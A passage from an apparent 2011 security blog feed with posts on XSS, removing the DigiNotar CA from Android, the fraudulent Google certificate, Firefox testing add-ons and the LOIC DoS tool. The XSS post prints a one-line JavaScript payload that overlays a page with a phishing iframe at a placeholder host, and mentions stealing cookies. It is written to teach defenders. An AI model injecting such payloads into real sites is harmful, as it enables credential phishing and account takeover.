<p>Of course, you can sometimes launch simple CSRF attacks using only images. By setting the &#8220;src&#8221; attribute of an &lt;img&gt; element to another page, the browser will still execute a GET request to that page when it tries to load the image. Without proper CSRF protections, such an attack may be possible without XSS to begin with. But images can also be a source of information leakage or tracking, since GET requests to a malicious server will also likely include a &#8220;Referer&#8221; header.</p>
<p>While most XSS payloads do capitalize on the power of JavaScript, keep in mind that a browser can load scripts from many places besides within script tags. Event attributes for other elements and certain CSS properties are just two examples of places a script could slip in. And don&#8217;t forget about the risks of browser plug-ins &#8211; Flash 0-day issues or malicious PDF files can also be sources of trouble.</p>
<p>Finally, an issue this week served to remind that XSS is no longer just a concern within the context of a web browser. As HTML and JavaScript become a greater part of developing apps built outside the browser, XSS may pop up on other platforms. On Monday, a security researcher with the handle <a href="https://superevr.com/blog/">superevr</a> disclosed <a href="https://superevr.com/blog/2011/xss-in-skype-for-ios/">an XSS vulnerability</a> in Skype for iOS. By inserting HTML into the &#8220;Full Name&#8221; of a user, one could send messages that when viewed would launch code capable of stealing the phone&#8217;s address book. And this wasn&#8217;t the first time XSS has been a problem for Skype &#8211; a vulnerability in desktop versions was found <a href="http://www.geek.com/articles/news/skype-vulnerability-makes-for-easy-pc-hijacking-20110715/">a few months ago</a>, and XSS with shared content could lead to problems <a href="http://www.computerworld.com/s/article/9057778/Update_Skype_plugs_critical_bug_with_temp_move">back in 2008</a>.</p>
<p>Alternate labels, such as &#8220;HTML injection&#8221; or &#8220;web content injection,&#8221; have been proposed to describe cross-site scripting, but the established term is likely here to say. Still, remember that protecting against XSS does not simply mean blocking script tags, and keep in mind the power of XSS when integrating web technologies with other platforms.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Cross-Site+Scripting%2C+Without+the+Scripting%E2%80%A6+or+the+Site+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D3033" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/3033/cross-site-scripting-without-the-scripting-or-the-site&amp;t=Cross-Site+Scripting%2C+Without+the+Scripting%E2%80%A6+or+the+Site" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
			<wfw:commentRss>http://securitymusings.com/article/3033/cross-site-scripting-without-the-scripting-or-the-site/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Removing Trusted Certificates from Android</title>
		<link>http://securitymusings.com/article/3001/removing-trusted-certificates-from-android</link>
		<comments>http://securitymusings.com/article/3001/removing-trusted-certificates-from-android#comments</comments>
		<pubDate>Thu, 15 Sep 2011 15:22:55 +0000</pubDate>
		<dc:creator>Tim Donaworth</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[data protection]]></category>
		<category><![CDATA[data theft]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Android SDK]]></category>
		<category><![CDATA[BouncyCastle]]></category>
		<category><![CDATA[DigiNotar]]></category>
		<category><![CDATA[PKI]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=3001</guid>
		<description><![CDATA[In light of all the discussions about maintaining a secure posture on trusted certificates we often times forget about the little guys. In this case I'm talking about our mobile devices. We tend to forget that these devices are just as vulnerable as our desktop/laptops. Unfortunately it's not always easy to manage the certificates on these devices. But if you own an Android device and would like to take a little more control over what your device is trusting read on to find out how you can do it.]]></description>
			<content:encoded><![CDATA[<p>In light of all the <a title="CAs behaving badly" href="http://securitymusings.com/article/2969/certification-authorities-behaving-badly" target="_blank">discussions</a> about maintaining a secure posture on trusted certificates, we oftentimes forget about the little guys. In this case, I&#8217;m talking about our mobile devices. We tend to forget that these devices are just as vulnerable as our desktop/laptops. Unfortunately, it&#8217;s not always easy to manage the certificates on these devices. But if you own an Android device and would like to take a little more control over what your device is trusting, here&#8217;s how you can do it.</p>
<p><strong>Remove a CA Cert from Android System</strong><br />
The bouncycastle library will be required, you can grab it here:<br />
<a title="BouncyCastle Library" href="http://bouncycastle.org/download/bcprov-jdk16-141.jar" target="_blank"> BouncyCastle Library</a></p>
<p>You&#8217;ll need the Android-SDK as well in order to utilize ADB. It can be found here if you don&#8217;t already have it:<br />
<a title="Android SDK" href="http://developer.android.com/sdk/index.html" target="_blank"> Android SDK</a><br />
<strong><span id="more-3001"></span></strong>
<ol>
<li>Move the jar into the $JAVA_HOME%\lib\ext folder. It&#8217;s most likely in a place like this:<br />
&nbsp;</p>
<pre><span style="color: #333399;">C:\Program Files (x86)\Java\jre6\lib\ext\</span></pre>
<p>&nbsp;</li>
<li>Connect your USB cable to your phone and verify with adb that it is seen as attached.<em> [%android-sdk% is the location of the Android SDK installed on your system]</em><br />
&nbsp;</p>
<pre><span style="color: #333399;">%android-sdk%\tools&gt; adb devices</span></pre>
<p>&nbsp;</li>
<li>You&#8217;ll need to grab the cacerts.bks file from your phone using adb:<br />
&nbsp;</p>
<pre><span style="color: #333399;">%android-sdk%\tools&gt;adb pull /system/etc/security/</span></pre>
<pre><span style="color: #333399;">cacerts.bks cacerts.bks</span></pre>
<p>&nbsp;</li>
<li>Now let&#8217;s extract the cacerts.bks to a human readable format (there are other ways of reading bks files, but this is an easy route)</li>
<p>&nbsp;</p>
<pre><span style="color: #333399;">%android-sdk%\tools&gt;"%JAVA_HOME%\keytool.exe" -keystore</span></pre>
<pre><span style="color: #333399;">cacerts.bks -storetype BKS -provider org.bouncycastle.jce</span></pre>
<pre><span style="color: #333399;">.provider.BouncyCastleProvider -storepass changeit -v</span></pre>
<pre><span style="color: #333399;">-list &gt; calist.txt</span></pre>
<p>&nbsp;</p>
<li>Open the newly created calist.txt file and search for the desired CA Cert ( DigiNotar CA in our case). You&#8217;ll want to identify the alias name number. You&#8217;ll use this to identify the certificate so that you can remove it with keytool.exe:</li>
<p>&nbsp;</p>
<pre>*******************************************
<span style="color: #ff0000;">Alias name: 61</span></pre>
<pre>Creation date: Feb 8, 2011</pre>
<pre>Entry type: trustedCertEntry</pre>
<pre>Owner: C=NL,O=DigiNotar,CN=DigiNotar Root CA,E=info@diginotar.nl</pre>
<pre>Issuer: C=NL,O=DigiNotar,CN=DigiNotar Root CA,E=info@diginotar.nl</pre>
<pre>Serial number: c76da9c910c4e2c9efe15d058933c4c</pre>
<pre>Valid from: Wed May 16 17:19:36 UTC 2007</pre>
<pre>until: Mon Mar 31 18:19:21 UTC 2025</pre>
<pre>Certificate fingerprints:</pre>
<pre>MD5:  7A:79:54:4D:07:92:3B:5B:FF:41:F0:0E:C7:39:A2:98</pre>
<pre>SHA1: C0:60:ED:44:CB:D8:81:BD:0E:F8:6C:0B:A2:87:DD:CF:81:67:47:8C</pre>
<pre>Signature algorithm name: SHA1WithRSAEncryption</pre>
<pre>Version: 3
*******************************************</pre>
<p>&nbsp;</p>
<pre><span style="color: #333399;">%android-sdk%\tools&gt;"%JAVA_HOME%\bin\keytool.exe" -keystore</span></pre>
<pre><span style="color: #333399;">cacerts.bks -storetype BKS -provider org.bouncycastle.jce.</span></pre>
<pre><span style="color: #333399;">provider.BouncyCastleProvider -storepass changeit -v -delete</span></pre>
<pre><span style="color: #333399;">-alias <span style="color: #ff0000;">&lt;alias name number&gt;</span></span></pre>
<p>&nbsp;</p>
<p>For example:</p>
<pre><span style="color: #333399;">%android-sdk%\tools&gt;"%JAVA_HOME%\bin\keytool.exe" -keystore</span></pre>
<pre><span style="color: #333399;">cacerts.bks -storetype BKS -provider org.bouncycastle.jce</span></pre>
<pre><span style="color: #333399;">.provider.BouncyCastleProvider -storepass changeit -v</span></pre>
<pre><span style="color: #333399;">-delete -alias <span style="color: #ff0000;">61</span></span></pre>
<p>&nbsp;</p>
<p>You&#8217;ll probably want to repeat this process for the Comodo certificates as well if you&#8217;re really security minded (of course you are).</p>
<li>Once you&#8217;ve removed the certificate you can push the cacerts.bks back to your phone for usage:</li>
<p>&nbsp;</p>
<pre><span style="color: #333399;">%android-sdk%\tools&gt;adb remount</span></pre>
<p>&nbsp;</p>
<pre><span style="color: #333399;">%android-sdk%\tools&gt;adb push cacert.bks /system/etc/security/</span></pre>
<p>&nbsp;</p>
<li>The final step will require you to reboot your phone so that Android can reload the cacerts.bks.</li>
<li>Enjoy!</li>
</ol>
<p>&nbsp;</p>
<p>If you have root access and don&#8217;t feel like going through ADB and all the SDK installation, the GuardianProject has created an Android app (<a title="Android Market - CACertMan" href="https://market.android.com/details?id=info.guardianproject.cacert">CACertMan</a>) that is targeted at doing the above for you and letting you manage your certs yourself. You can check it out <a title="GuardianProject CACertMan" href="https://guardianproject.info/2011/09/05/cacertman-app-to-address-diginotar-other-bad-cas/">here</a>. It is still in beta and isn&#8217;t 100% compatible yet, hence the manual instructions above.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Removing+Trusted+Certificates+from+Android+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D3001" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/3001/removing-trusted-certificates-from-android&amp;t=Removing+Trusted+Certificates+from+Android" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
			<wfw:commentRss>http://securitymusings.com/article/3001/removing-trusted-certificates-from-android/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Certification Authorities Behaving Badly</title>
		<link>http://securitymusings.com/article/2969/certification-authorities-behaving-badly</link>
		<comments>http://securitymusings.com/article/2969/certification-authorities-behaving-badly#comments</comments>
		<pubDate>Tue, 30 Aug 2011 14:59:06 +0000</pubDate>
		<dc:creator>Peter Hesse</dc:creator>
				<category><![CDATA[data protection]]></category>
		<category><![CDATA[data theft]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[DigiNotar]]></category>
		<category><![CDATA[PKI]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=2969</guid>
		<description><![CDATA[edited September 2 with an update on Apple/Safari. Another case of a certification authority (CA) issuing a certificate they never should have has surfaced. You may remember when we discussed the Comodo incident earlier this year. Now, a certificate issued by DigiNotar has surfaced in the wild, being valid for *.google.com &#8211; meaning it could [...]]]></description>
			<content:encoded><![CDATA[<p><em>edited September 2 with an update on Apple/Safari.</em></p>
<p>Another case of a certification authority (CA) issuing a certificate they never should have has surfaced. You may remember when we discussed the <a href="http://securitymusings.com/article/2639/did-comodo-violate-its-own-practices">Comodo incident</a> earlier this year. Now, a certificate issued by <a href="http://www.diginotar.com">DigiNotar</a> has surfaced in the wild, being valid for *.google.com &#8211; meaning it could be used to secure any transaction with any Google web property, including <a href="http://www.gmail.com">GMail</a>. According to <a href="http://pastebin.com/SwCZqskV">this pastebin post</a>, this certificate &#8220;is being used in the wild against real people in Iran *right* now.&#8221; DigiNotar has <a href="http://www.vasco.com/company/press_room/news_archive/2011/news_diginotar_reports_security_incident.aspx">issued a statement</a>. Here is some information about why this is bad, and what steps you should take to remove this issuer from your trust lists.<span id="more-2969"></span></p>
<p><strong>What does this mean?</strong></p>
<p>SSL, or TLS, is used to perform two things. First, it provides authentication of the web server to the web browser. (It can optionally provide authentication of the browser to the server, too, but that&#8217;s less common.) This means that the web browser knows that it is talking to a trusted web server and can share sensitive information with it. Second, it provides transport-layer encryption, so that the communications between the web browser and the web server are encrypted. This means that other parties cannot read what is being sent between the server and browser. This is widely used for most logins, because you don&#8217;t want your username and password being sent to the server &#8220;in the clear&#8221;. Anything sent &#8220;in the clear&#8221; can be read by anyone else on your network (or within range of your wireless network), or by anyone on any network that your traffic is routed through between you and the server.</p>
<p>In this case, a fraudulent certificate has been issued for *.google.com by a certification authority which is completely trusted by most modern web browsers. This means that the web browser will see this certificate, consider it valid for all traffic with Google (and GMail), and go ahead and create that little lock icon everyone has been trained to look for, which indicates your communication is secure.</p>
<p>Except, it&#8217;s not.</p>
<p>Google does not own this certificate. Google did not pay for this certificate. Therefore, when you communicate using this certificate, it&#8217;s not with Google. It&#8217;s with whoever managed to get that certificate issued, which according to the pastebin, is by groups wishing to do harm to individuals in Iran.</p>
<p>Personally, I don&#8217;t want to take a chance on whether it might be used against me, as well.</p>
<p><strong>What should I do about it?</strong></p>
<p>It is my opinion that issuance of a certificate such as this is an unforgivable sin.  Certification authorities must have the appropriate technical controls, and checks and balances, to prevent this from <strong>ever</strong> happening. There are plenty of certification authorities out there, and it is time to remove this one from my system and all systems I manage.</p>
<p>The good news is that the browser manufacturers also think this is a bad thing and are rushing to put together information on how to ensure you won&#8217;t trust this certificate.</p>
<ul>
<li><a href="http://blog.mozilla.com/security/2011/08/29/fraudulent-google-com-certificate/">Mozilla is updating Firefox, Seamonkey, Thunderbird, and others to remove this</a>; they also provide a <a href="http://support.mozilla.com/en-US/kb/deleting-diginotar-ca-cert">link for manual removal</a>.</li>
<li>Apple hasn&#8217;t stepped up with information about it yet that I can find. If you&#8217;re running a Mac OSX machine, you should set your system to never trust the Diginotar certificate. Run <strong>Keychain Access</strong>, and on the left choose your &#8220;login&#8221; keychain. Down below, choose &#8220;All Items&#8221;. Then in the search box, search for DigiNotar. You should see one or two results for DigiNotar Root CA. Double-click it. Expand the <strong>Trust</strong> arrow, and where it says &#8220;When using this certificate:&#8221; choose <strong>Never Trust</strong>. Close the window and you will likely be prompted to enter your password to update the login keychain. Repeat for all occurrences of DigiNotar certificates. <strong><span style="color: #ff0000;">Update: It&#8217;s worse than I thought. This method does not work for EVSSL certificates in Safari. See </span><span style="color: #ff0000;"><a href="http://news.techworld.com/security/3300602/apple-mac-os-x-unable-to-revoke-ssl-certificates-properly/">this link</a> for more information</span><span style="color: #ff0000;">. Stay tuned for any updates Apple might make about this, a patch to Safari is probably necessary.</span></strong></li>
<li><a href="http://www.microsoft.com/technet/security/advisory/2607712.mspx">Microsoft tells you you&#8217;re protected</a> if you&#8217;re running Vista or later. If you&#8217;re not and still running XP or Windows 2000/2003, you should remove the certificate manually. The easiest way to do this is to launch Internet Explorer, and choose Tools-&gt;Internet Options. (Or just launch &#8220;Internet Options&#8221; from your control panel.) Go to the Content tab and click the Certificates button. Click the Trusted Root Certification Authorities tab. Find the DigiNotar Root CA and double-click it. (If it&#8217;s not there, you&#8217;re safe!) Click the Details tab and click the Edit Properties&#8230; button. Choose <strong>Disable all purposes for this certificate</strong> and click OK.</li>
<li>Google Chrome users, you will benefit from the rapid updates to Chrome which will <a href="http://codereview.chromium.org/7795014">mark DigiNotar as untrusted</a>. You can (should?) also take the Apple or Microsoft manual removal steps above to be sure you&#8217;re safe.</li>
</ul>
<p>Additional good commentary (as always) from <a href="http://twitter.com/moxie__">Moxie Marlinspike</a> and <a href="http://twitter.com/ioerror">Jacob Appelbaum</a>.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Certification+Authorities+Behaving+Badly+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D2969" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/2969/certification-authorities-behaving-badly&amp;t=Certification+Authorities+Behaving+Badly" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
			<wfw:commentRss>http://securitymusings.com/article/2969/certification-authorities-behaving-badly/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>A Firefox Toolbox for Web App Hacking</title>
		<link>http://securitymusings.com/article/2905/a-firefox-toolbox-for-web-app-hacking</link>
		<comments>http://securitymusings.com/article/2905/a-firefox-toolbox-for-web-app-hacking#comments</comments>
		<pubDate>Thu, 21 Jul 2011 21:38:16 +0000</pubDate>
		<dc:creator>Joey Tyson</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[Technology & Tool Thursday]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=2905</guid>
		<description><![CDATA[If you&#8217;re new to the world of testing web application security, you may not be aware of the many great Firefox add-ons available that greatly help such endeavors. While others have compiled similar lists in the past, I thought this week would be a good time for me to share a few of the favorite [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;re new to the world of testing web application security, you may not be aware of the many great Firefox add-ons available that greatly help such endeavors. While others have compiled similar lists in the past, I thought this week would be a good time for me to share a few of the favorite tools I use in my own web app work.</p>
<ol>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox</a>: I&#8217;ve blogged about this one <a href="http://securitymusings.com/article/1786/monitor-network-traffic-in-firefox-with-httpfox">in the past</a>; it lists for you every HTTP request made during a given browser session, with details on headers, cookies, parameters, responses, and more. Very handy to monitor traffic when you&#8217;re browsing around an app.</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/hackbar/">HackBar</a>: Another one I&#8217;ve <a href="http://securitymusings.com/article/1980/hacking-pages-in-firefox-with-the-hackbar">mentioned before</a>, the HackBar is a swiss-army knife that gives you some space for notes, common commands (such as base64 encoding or MD5 hashes), and perhaps best of all, an easy way to execute manual POST requests.</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/firebug/">FireBug</a>: Perhaps one of the best-known Firefox plug-ins, FireBug is a powerful tool for inspecting a page&#8217;s DOM, debugging scripts, and investigating script variables.</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/">Cookies Manager+</a>: As you can guess, this add-on lets you view and edit browser cookies to your heart&#8217;s content. Useful in tracking and spoofing session information.</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/modify-headers/">Modify Headers</a>: Many web apps use special headers in various ways; this tool lets you set such headers manually when making requests. Spoofing XMLHttpRequest commands is one use case.</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/">User Agent Switcher</a>: I&#8217;ve seen apps with vulnerabilities that only affected mobile versions of the site. This extension lets you imitate just about any browser, allowing you to test different site interfaces.</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/javascript-deobfuscator/">JavaScript Deobfuscator</a>: This is one add-on I only recently discovered, but I can already tell it will be quite useful. It logs JavaScript functions as they&#8217;re compiled or executed by the browser, which is particularly useful in dealing with obfuscated scripts.</li>
</ol>
<p>This list is by no means exhaustive and is geared towards manual testing, but it certainly provides a solid line-up for anyone looking to experiment with web app security. It also shows how easy it can be to get started tinkering with web apps. While I use Chrome for my everyday browsing, I use my tricked-out Firefox setup when I want to dig deeper. If you&#8217;re starting out, try using these add-ons against an educational app, such as <a href="https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project">WebGoat</a>, <a href="http://google-gruyere.appspot.com/">Gruyere</a>, or <a href="http://www.dvwa.co.uk/">DVWA</a>.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=A+Firefox+Toolbox+for+Web+App+Hacking+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D2905" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/2905/a-firefox-toolbox-for-web-app-hacking&amp;t=A+Firefox+Toolbox+for+Web+App+Hacking" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
			<wfw:commentRss>http://securitymusings.com/article/2905/a-firefox-toolbox-for-web-app-hacking/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>XSS: More Than Just Alert Boxes</title>
		<link>http://securitymusings.com/article/2727/xss-more-than-just-alert-boxes</link>
		<comments>http://securitymusings.com/article/2727/xss-more-than-just-alert-boxes#comments</comments>
		<pubDate>Tue, 26 Apr 2011 20:50:43 +0000</pubDate>
		<dc:creator>Joey Tyson</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[Tutorial Tuesday]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=2727</guid>
		<description><![CDATA[Cross-site scripting (XSS) vulnerabilities allow an attacker to inject content in an otherwise trusted web page. XSS attacks in the wild typically try to execute JavaScript, and consequently XSS issues are typically demonstrated with a script function that&#8217;s short, simple, and visual: the alert box. Many XSS examples use alert(1) or alert(&#8216;XSS&#8217;) as a payload. [...]]]></description>
			<content:encoded><![CDATA[<p>Cross-site scripting (XSS) vulnerabilities allow an attacker to inject content in an otherwise trusted web page. XSS attacks in the wild typically try to execute JavaScript, and consequently XSS issues are typically demonstrated with a script function that&#8217;s short, simple, and visual: the alert box. Many XSS examples use alert(1) or alert(&#8216;XSS&#8217;) as a payload.</p>
<p>As others have noted, though, this fails to show the power of XSS, and may lead to a &#8220;so what?&#8221; reaction from developers not familiar with such a vulnerability. I like to compare alert(1) to showing that the safety of a gun is off. If someone has never handled or heard of a gun before, a small switch out of place won&#8217;t mean much. But when they see the gun fire and witness the damage a bullet can cause, the significance of that safety becomes apparent.</p>
<p>While I&#8217;m hardly the first to compile a list of example payloads that go beyond simple alert boxes (see also <a href="http://securityreliks.securegossip.com/2010/12/xss-exploitation-beyond-alertxss/">XSS &#8211; Exploitation beyond alert(&#8216;xss&#8217;)</a> and <a href="http://blog.c22.cc/2010/03/16/alertxss-the-slow-death-of-xss/">alert(&#8216;xss&#8217;) &#8211; The slow death of XSS</a>), I think it bears repeating that security professionals should be prepared to demonstrate the real dangers of XSS. Here are a few ideas to keep in your toolbox:</p>
<ol>
<li><strong>Expose cookies.</strong> My personal preference for a simple alert box when checking XSS is alert(document.cookie). Even if a developer is not familiar with XSS, most will likely recognize that access to the session data stored in a user&#8217;s cookie presents a problem. And note that if the injected script can alert those values, it can also send them to an external server, allowing an attacker to take control of the victim&#8217;s account</li>
<li><strong>Gather real-world examples.</strong> While you&#8217;d certainly never want to just load a live payload on a vulnerable app, actual attacks against other sites are good testimonials for thinking about XSS. A few to get your file started:
<ul>
<li><a href="http://www.computerworld.com/s/article/9046138/Alicia_Keys_MySpace_page_hacked_serves_up_attacks">Malware delivery on celebrity MySpace pages</a>: Alicia Keys and other stars fell victim to an attack that didn&#8217;t even require JavaScript. An invisible &lt;a&gt; element covered the entire page, making any click send the user to a malicious site.</li>
<li><a href="http://namb.la/popular/">The Samy worm on MySpace</a>: One of the fastest-spreading viruses used XSS. The Samy worm automatically friended other MySpace users and modified the profiles of victims. Its rapid spread caused MySpace to shut down temporarily.</li>
<li><a href="http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/">Remote code execution on phones via the Android Market</a>: A vulnerability in Google&#8217;s online store for Android apps could be used to send an install command when accessed from an Android phone. Once installed, the malicious app could then also be automatically launched.</li>
<li><a href="http://pastebin.com/73xfQ2wj">Facebook bully video XSS payload</a>: A recent attack exploiting a loophole in Facebook apps used event invites, chat messages, and Facebook pages to spread malicious links. The payload also included code for phishing account credentials.</li>
</ul>
</li>
<li><strong>Phishing demo.</strong> Create a page that mimics your app&#8217;s login form but submits to a different location, and save it somewhere safe but accessible. Add this bit of code to quickly replace a vulnerable page with your phishing page:<br />
<blockquote><p>x=document.createElement(&#39;iframe&#39;),x.src=&#39;http://yourphishingpage/&#39;, x.height=&#39;100%&#39;,x.width=&#39;100%&#39;,x.frameBorder=&#39;0&#39;,document.body=x</p></blockquote>
</li>
<li><strong>Create a custom payload.</strong> Remember, once a script can be injected in a page, it basically has the same amount of access as any other script in the page. If you&#8217;re already familiar with code used by a vulnerable app, you can simply load a few of them with the XSS payload. With many sites using a range of client-side features, a few function calls can do quite a bit.</li>
<li><strong>Set up a BeEF demo.</strong> The Browser Exploitation Framework, or BeEF for short, is a tool that essentially lets you create a small botnet. BeEF can be used to log keystrokes, detect features or history, and even launch Metasploit to load more sophisticated attacks.</li>
<li><strong>Set up an XSS-based proxy.</strong> Tools such as <a href="http://blog.andlabs.org/2010/07/shell-of-future-reverse-web-shell.html">Shell of the Future</a> let you make requests for other sites from a victim&#8217;s browser and have the responses forwarded to your machine. This lets you tunnel traffic through other machines simply by exploiting XSS.</li>
</ol>
<ol></ol>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=XSS%3A+More+Than+Just+Alert+Boxes+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D2727" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/2727/xss-more-than-just-alert-boxes&amp;t=XSS%3A+More+Than+Just+Alert+Boxes" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
			<wfw:commentRss>http://securitymusings.com/article/2727/xss-more-than-just-alert-boxes/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Low Orbit Ion Cannon &#8211; A Very Simple Tool for Broad Distribution</title>
		<link>http://securitymusings.com/article/2649/low-orbit-ion-cannon-a-very-simple-tool-made-for-broad-distribution</link>
		<comments>http://securitymusings.com/article/2649/low-orbit-ion-cannon-a-very-simple-tool-made-for-broad-distribution#comments</comments>
		<pubDate>Thu, 24 Mar 2011 10:00:20 +0000</pubDate>
		<dc:creator>Benjamin Hartley</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[Technology & Tool Thursday]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=2649</guid>
		<description><![CDATA[So, last night I downloaded a version of the Low-Orbit Ion Cannon, the traffic generation tool which Anonymous has been using to attack various websites. The version I acquired, from SourceForge, was not one which had been modified for use by Anonymous – it didn’t have the “Hive” function which allows it to be utilized [...]]]></description>
			<content:encoded><![CDATA[<p>So, last night I downloaded a version of the Low-Orbit Ion Cannon, the traffic generation tool which Anonymous has been using to attack various websites. The version I acquired, from SourceForge, was not one which had been modified for use by Anonymous – it didn’t have the “Hive” function which allows it to be utilized remotely. I should mention that although it was originally made by Praetox, and many versions available for download still have Praetox branding, Praetox no longer supports the code, nor is in any way affiliated with Anonymous.</p>
<p><a href="http://securitymusings.com/article/2649/low-orbit-ion-cannon-a-very-simple-tool-made-for-broad-distribution/loic" rel="attachment wp-att-2650"><img src="http://securitymusings.com/wp-content/uploads/2011/03/LOIC-300x157.jpg" alt="" title="LOIC" width="300" height="157" class="aligncenter size-medium wp-image-2650" /></a></p>
<p>	It’s not really a terribly complicated tool. All it does is flood out requests in one of three ways: http requests, TCP packets, or UDP packets. It allows the user to specify the target by URL or IP address, the timeout, port number, the number of threads used, and the attack mode – that being http, TCP, or UDP. If using http, the user can specify the subsite, and if using TCP or UDP, the payload can be given. There’s also a slider for the speed – though no information on what the actual bandwidth will be – and a checkbox for whether or not to wait for a reply. With this set of parameters given, the user need only tell it to go by hitting a button entitled “IMMA CHARGIN MAH LAZER” and watch the status across the bottom.</p>
<p>	It’s not a very sophisticated tool; it doesn’t have anything to help it get past even rudimentary countermeasures. Given that it was written as a load-testing tool, that’s hardly surprising. What it lacks in sophistication, it does offer in simplicity. This is a tool which is simple, intuitive, and effective. In terms of usability, a great many professional developers could stand to learn from it. This is a tool which can be used with virtually no networking knowledge. Given that it’s a tool which is being given out to people with virtually no networking knowledge, it’s not a bad fit.</p>
<p>	LOIC isn’t exactly a major threat to a large website. As is the nature of DOS attacks, it simply uses a brute-force attempt to flood a site. Smaller servers can readily be overwhelmed, of course, but this isn’t a new issue. That being said, LOIC has proven remarkably effective even though it is hamstrung both by its simplicity and by the steps users must take to preserve their anonymity while using it. So long as groups like Anonymous retain a use for such a tool, newer versions can be expected. While they may have newer tricks, they’ll likely remain by the curve technologically, preferring to keep the same simple usability which allows LOIC to be wielded by so many people.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Low+Orbit+Ion+Cannon+%E2%80%93+A+Very+Simple+Tool+for+Broad+Distribution+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D2649" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/2649/low-orbit-ion-cannon-a-very-simple-tool-made-for-broad-distribution&amp;t=Low+Orbit+Ion+Cannon+%E2%80%93+A+Very+Simple+Tool+for+Broad+Distribution" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
